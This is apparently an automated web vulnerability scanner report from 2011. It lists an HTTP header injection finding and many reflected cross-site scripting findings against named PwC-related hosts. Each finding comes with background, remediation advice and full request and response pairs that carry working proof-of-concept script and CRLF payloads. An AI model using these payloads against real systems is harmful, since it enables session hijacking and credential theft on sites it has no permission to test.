The value of the PERSIST request parameter is copied into the set-cookie response header. The payload 39165%0d%0a95f7870bcf was submitted in the PERSIST parameter. This caused a response containing an injected HTTP header.
Issue background
HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.
Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.
Issue remediation
If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.
Request
GET /SmMakeCookie.ccc?SMIDENTITY=-SM-JkKPgU6Cx8FNQuk%2ftl%2fesLEQgetc1lczqh40gNLQ7HA8ohx0%2f%2bIJA0icIHlmE%2fGOZoqZE1IrrNWw43d28A23hElbDyTxWzCeR0YM8by%2bAO9tq6tL8ZFIM7v79fT8o1%2foAC108KvPzOUFEKUROLw8%2fhIl7Qq9k1RbVjkRv4G8RlOlD4CXHGxIN3n%2fb5XCfa9FSRElN6MgfeSA63Ba5ove%2bS%2fwKxatrFrpUyZ7DsxgZVVSkMpbGaw7qSI7my%2foqeMD%2fWWtHK2CzccxXOuMvItRiMpK90Lzk0YueTq903bBVjIg2MBr5xqW4uLNhlaXO99jwTgOdRmCX3tOj9TvLB0cQx86YqW8t1LqZCmewfoVauF5s79cmUbqKLM%2fACmI1g5uhhp0vqpShKvItPHwe6F9bPp11zpmbq3owzGFAtCqIxP2RSNaBCaECmcgMQKlARvk%2fuqk%2fEajGcUqcrXjaNn6cM%2br0ogZMOWigYnVmV4qR8kWln2IVhpfbIKPAkI%2fgd4MSlWK00umHJHm38lEUjkil4M6QpQsin0X3vBPydgZRhCEqlqDlP5bc48QSBh8Tzq1&PERSIST=-SM-Thu%2c%2014%20Nov%202013%2023%3a12%3a03%20GMT39165%0d%0a95f7870bcf&TARGET=-SM-HTTPS%3a%2f%2fpwcinform%2epwc%2ecom%2finform2%2fshow%3faction%3dinformContent%26id%3d1138285910154736 HTTP/1.1 Host: uk-websso2.pwcglobal.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.pwc.com/gx/en/ifrs-reporting/technical-updates.jhtml Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.0 302 Object Moved Expires: Thu, 01 Dec 1994 16:00:00 GMT Location: HTTPS://pwcinform.pwc.com/inform2/show?action=informContent&id=1138285910154736 Content-Length: 0 set-cookie: SMIDENTITY=JkKPgU6Cx8FNQuk/tl/esLEQgetc1lczqh40gNLQ7HA8ohx0/+IJA0icIHlmE/GOZoqZE1IrrNWw43d28A23hElbDyTxWzCeR0YM8by+AO9tq6tL8ZFIM7v79fT8o1/oAC108KvPzOUFEKUROLw8/hIl7Qq9k1RbVjkRv4G8RlOlD4CXHGxIN3n/b5XCfa9FSRElN6MgfeSA63Ba5ove+S/wKxatrFrpUyZ7DsxgZVVSkMpbGaw7qSI7my/oqeMD/WWtHK2CzccxXOuMvItRiMpK90Lzk0YueTq903bBVjIg2MBr5xqW4uLNhlaXO99jwTgOdRmCX3tOj9TvLB0cQx86YqW8t1LqZCmewfoVauF5s79cmUbqKLM/ACmI1g5uhhp0vqpShKvItPHwe6F9bPp11zpmbq3owzGFAtCqIxP2RSNaBCaECmcgMQKlARvk/uqk/EajGcUqcrXjaNn6cM+r0ogZMOWigYnVmV4qR8kWln2IVhpfbIKPAkI/gd4MSlWK00umHJHm38lEUjkil4M6QpQsin0X3vBPydgZRhCEqlqDlP5bc48QSBh8Tzq1; expires=Thu, 14 Nov 2013 23:12:03 GMT39165 95f7870bcf; path=/; domain=.pwcglobal.com
2. Cross-site scripting (reflected)previous There are 15 instances of this issue:
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the localeOverride request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e1974"><script>alert(1)</script>50b42dc201b was submitted in the localeOverride parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: IBM_HTTP_Server Vary: Accept-Encoding P3P: policyref="http://www.pwc.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMi PUBi IND PHY ONL UNI PUR COM NAV INT DEM CNT STA" Content-Type: text/html; charset=utf-8 Content-Language: en-US Content-Length: 19969 Date: Tue, 15 Nov 2011 23:15:12 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-us" lang="en-us"> <h ...[SNIP]... <meta name="pwcLocale" content="en_USe1974"><script>alert(1)</script>50b42dc201b" /> ...[SNIP]...
The value of the localeOverride request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload df611"><script>alert(1)</script>f2b3877a732 was submitted in the localeOverride parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: IBM_HTTP_Server Content-Type: text/html; charset=utf-8 P3P: policyref="http://www.pwc.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMi PUBi IND PHY ONL UNI PUR COM NAV INT DEM CNT STA" Vary: Accept-Encoding Content-Language: en-US Cache-Control: max-age=30 Date: Tue, 15 Nov 2011 23:13:56 GMT Content-Length: 5363 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gx" lang="en-gx"> <h ...[SNIP]... <meta name="pwcLocale" content="en_GXdf611"><script>alert(1)</script>f2b3877a732" /> ...[SNIP]...
The value of the frameheight request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b537a"><script>alert(1)</script>5c9f87d00c7 was submitted in the frameheight parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /playpresentation.php?presid=514&ftheme=ent_pwc_3&framewidth=1020&frameheight=650b537a"><script>alert(1)</script>5c9f87d00c7 HTTP/1.1 Host: www.pwcplayer.co.uk Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.pwc.com/gx/en/ifrs-reporting/technical-updates.jhtml Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 15 Nov 2011 23:12:39 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.4 Content-type: text/html
The value of the framewidth request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7b2d6"><script>alert(1)</script>6d89d578648 was submitted in the framewidth parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /playpresentation.php?presid=514&ftheme=ent_pwc_3&framewidth=10207b2d6"><script>alert(1)</script>6d89d578648&frameheight=650 HTTP/1.1 Host: www.pwcplayer.co.uk Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.pwc.com/gx/en/ifrs-reporting/technical-updates.jhtml Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 15 Nov 2011 23:12:38 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.4 Content-type: text/html
The value of the ftheme request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 50391"><script>alert(1)</script>5c154eaa22 was submitted in the ftheme parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /playpresentation.php?presid=514&ftheme=50391"><script>alert(1)</script>5c154eaa22&framewidth=1020&frameheight=650 HTTP/1.1 Host: www.pwcplayer.co.uk Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.pwc.com/gx/en/ifrs-reporting/technical-updates.jhtml Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 15 Nov 2011 23:12:37 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.4 Content-type: text/html
The value of the presid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4614f"><script>alert(1)</script>ccd62a5257a was submitted in the presid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /playpresentation.php?presid=4614f"><script>alert(1)</script>ccd62a5257a&ftheme=ent_pwc_3&framewidth=1020&frameheight=650 HTTP/1.1 Host: www.pwcplayer.co.uk Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.pwc.com/gx/en/ifrs-reporting/technical-updates.jhtml Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 15 Nov 2011 23:12:35 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.4 Content-type: text/html
The value of the dpxuser request parameter is copied into the HTML document as plain text between tags. The payload 1884a<script>alert(1)</script>33a59dec2f9 was submitted in the dpxuser parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dpx_live4/dpx.php?cmd=autoplay&type=solo&pres=514&dpxuser=dpliv_ukpwc1884a<script>alert(1)</script>33a59dec2f9&ftheme=ent_pwc_3&special=rc HTTP/1.1 Host: www.pwcwebcast.co.uk Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.pwcplayer.co.uk/playpresentation.php?presid=514&ftheme=ent_pwc_3&framewidth=1020&frameheight=650 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 15 Nov 2011 23:13:41 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.4 Content-type: text/html
Bad DPX user 'dpliv_ukpwc1884a<script>alert(1)</script>33a59dec2f9' login. Please check your details.
The value of the ftheme request parameter is copied into the HTML document as plain text between tags. The payload d7de4<script>alert(1)</script>df303f784b1 was submitted in the ftheme parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dpx_live4/dpx.php?cmd=autoplay&type=solo&pres=514&dpxuser=dpliv_ukpwc&ftheme=ent_pwc_3d7de4<script>alert(1)</script>df303f784b1&special=rc HTTP/1.1 Host: www.pwcwebcast.co.uk Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.pwcplayer.co.uk/playpresentation.php?presid=514&ftheme=ent_pwc_3&framewidth=1020&frameheight=650 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 15 Nov 2011 23:13:42 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.4 Content-type: text/html
The file "themes/theme_ent_pwc_3d7de4<script>alert(1)</script>df303f784b1/theme_custom_settings.php" could not be accessed.
The value of the pres request parameter is copied into a JavaScript rest-of-line comment. The payload 4ddb1%0aalert(1)//083d2a5abbd was submitted in the pres parameter. This input was echoed as 4ddb1 alert(1)//083d2a5abbd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /dpx_live4/dpx.php?cmd=autoplay&type=solo&pres=5144ddb1%0aalert(1)//083d2a5abbd&dpxuser=dpliv_ukpwc&ftheme=ent_pwc_3&special=rc HTTP/1.1 Host: www.pwcwebcast.co.uk Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.pwcplayer.co.uk/playpresentation.php?presid=514&ftheme=ent_pwc_3&framewidth=1020&frameheight=650 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 15 Nov 2011 23:13:37 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.4 Content-type: text/html
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/x ...[SNIP]... <!--
The value of the pres request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9f696</script><script>alert(1)</script>131b86bb88f was submitted in the pres parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /dpx_live4/dpx.php?cmd=autoplay&type=solo&pres=5149f696</script><script>alert(1)</script>131b86bb88f&dpxuser=dpliv_ukpwc&ftheme=ent_pwc_3&special=rc HTTP/1.1 Host: www.pwcwebcast.co.uk Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.pwcplayer.co.uk/playpresentation.php?presid=514&ftheme=ent_pwc_3&framewidth=1020&frameheight=650 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 15 Nov 2011 23:13:34 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.4 Content-type: text/html
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/x ...[SNIP]... = "http://www.pwcwebcast.co.uk//users/dpliv_ukpwc/web/dpx/slidemedia/"; var js_defaultsponsor = "1"; var def_sponsors_file_url = "http://www.pwcwebcast.co.uk//users/dpliv_ukpwc/web/dpx/slidemedia/5149f696</script><script>alert(1)</script>131b86bb88f/sponsors/sponsors_panel.htm"; var js_ds_cardoff = 0; var js_defaultvidbgr = "#000000"; var js_company_logo_filename = "_company_name_presenter.jpg"; var js_email_logo_filename = "http://www.pwcweb ...[SNIP]...
The value of the special request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 74d57'%3balert(1)//d46c4c8c0e7 was submitted in the special parameter. This input was echoed as 74d57';alert(1)//d46c4c8c0e7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /dpx_live4/dpx.php?cmd=autoplay&type=solo&pres=514&dpxuser=dpliv_ukpwc&ftheme=ent_pwc_3&special=rc74d57'%3balert(1)//d46c4c8c0e7 HTTP/1.1 Host: www.pwcwebcast.co.uk Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.pwcplayer.co.uk/playpresentation.php?presid=514&ftheme=ent_pwc_3&framewidth=1020&frameheight=650 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 15 Nov 2011 23:13:48 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.4 Content-type: text/html
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/x ...[SNIP]... <!-- function cdebug(mes){ if ('rc74d57';alert(1)//d46c4c8c0e7'=='cdebug') { //txt(mes); alert(mes); } } var current_language = (lang!='')?lang:'ENG'; var dictionary = new Object(); var langs_available = new Object(); var lang_path = ""; // ...[SNIP]...
The value of the special request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d32a1"%3balert(1)//586f352175e was submitted in the special parameter. This input was echoed as d32a1";alert(1)//586f352175e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /dpx_live4/dpx.php?cmd=autoplay&type=solo&pres=514&dpxuser=dpliv_ukpwc&ftheme=ent_pwc_3&special=rcd32a1"%3balert(1)//586f352175e HTTP/1.1 Host: www.pwcwebcast.co.uk Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.pwcplayer.co.uk/playpresentation.php?presid=514&ftheme=ent_pwc_3&framewidth=1020&frameheight=650 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 15 Nov 2011 23:13:45 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.4 Content-type: text/html
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/x ...[SNIP]... hemes/theme_ent_pwc_3/common_images/email_logo.jpg"; var js_email_logo_height = 53; var js_ipbuttonxtra = ""; var js_ipp_when_preview = ""; var js_cur_media_suffix = "_black"; var js_special = "rcd32a1";alert(1)//586f352175e"; var js_cat_card_unselected = "#444444"; var js_cat_card_selected = "#FFFFFF"; var js_sect_card_unselected = "#444444"; var js_sect_card_selected = "#FFFFFF"; var js_dpxversion = "2.0 Build #185 ...[SNIP]...
The value of the clockup request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 1dcf9%3balert(1)//90330355ec0 was submitted in the clockup parameter. This input was echoed as 1dcf9;alert(1)//90330355ec0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /dpx_live4/dpx_jstime.php?clockup=8001dcf9%3balert(1)//90330355ec0 HTTP/1.1 Host: www.pwcwebcast.co.uk Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.pwcwebcast.co.uk/dpx_live4/dpx.php?cmd=autoplay&type=solo&pres=514&dpxuser=dpliv_ukpwc&ftheme=ent_pwc_3&special=rc Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 15 Nov 2011 23:12:38 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.4 Content-type: text/html
//dateServer = new Date('November 15, 2011 23:12:38'); //ThisMillisecondsS = dateServer.getTime(); //ThisMillisecondsS -= 0; // remove server's time offset, as we didn't want it added in th ...[SNIP]...
2.14. http://www.pwcwebcast.co.uk/dpx_live4/slides.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.pwcwebcast.co.uk
Path:
/dpx_live4/slides.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dd2b3"><script>alert(1)</script>59e34db6bda was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dpx_live4/slides.php?presentation=514&dpxuser=dpliv_ukpwc&theme_path=themes/theme_ent_p/dd2b3"><script>alert(1)</script>59e34db6bdawc_3 HTTP/1.1 Host: www.pwcwebcast.co.uk Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.pwcwebcast.co.uk/dpx_live4/dpx.php?cmd=autoplay&type=solo&pres=514&dpxuser=dpliv_ukpwc&ftheme=ent_pwc_3&special=rc Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 15 Nov 2011 23:13:12 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.4 Content-type: text/html
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xh ...[SNIP]... <link rel="stylesheet" href="themes/theme_ent_p/dd2b3"><script>alert(1)</script>59e34db6bdawc_3/css/player_ssl.css" type="text/css" /> ...[SNIP]...
The value of the theme_path request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6864e"><script>alert(1)</script>8eb4bd2f5ea was submitted in the theme_path parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dpx_live4/slides.php?presentation=514&dpxuser=dpliv_ukpwc&theme_path=themes/theme_ent_pwc_36864e"><script>alert(1)</script>8eb4bd2f5ea HTTP/1.1 Host: www.pwcwebcast.co.uk Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.pwcwebcast.co.uk/dpx_live4/dpx.php?cmd=autoplay&type=solo&pres=514&dpxuser=dpliv_ukpwc&ftheme=ent_pwc_3&special=rc Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 15 Nov 2011 23:13:09 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.4 Content-type: text/html
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xh ...[SNIP]... <link rel="stylesheet" href="themes/theme_ent_pwc_36864e"><script>alert(1)</script>8eb4bd2f5ea/css/player_ssl.css" type="text/css" /> ...[SNIP]...
Report generated by XSS.CX at Fri Nov 18 12:18:47 CST 2011.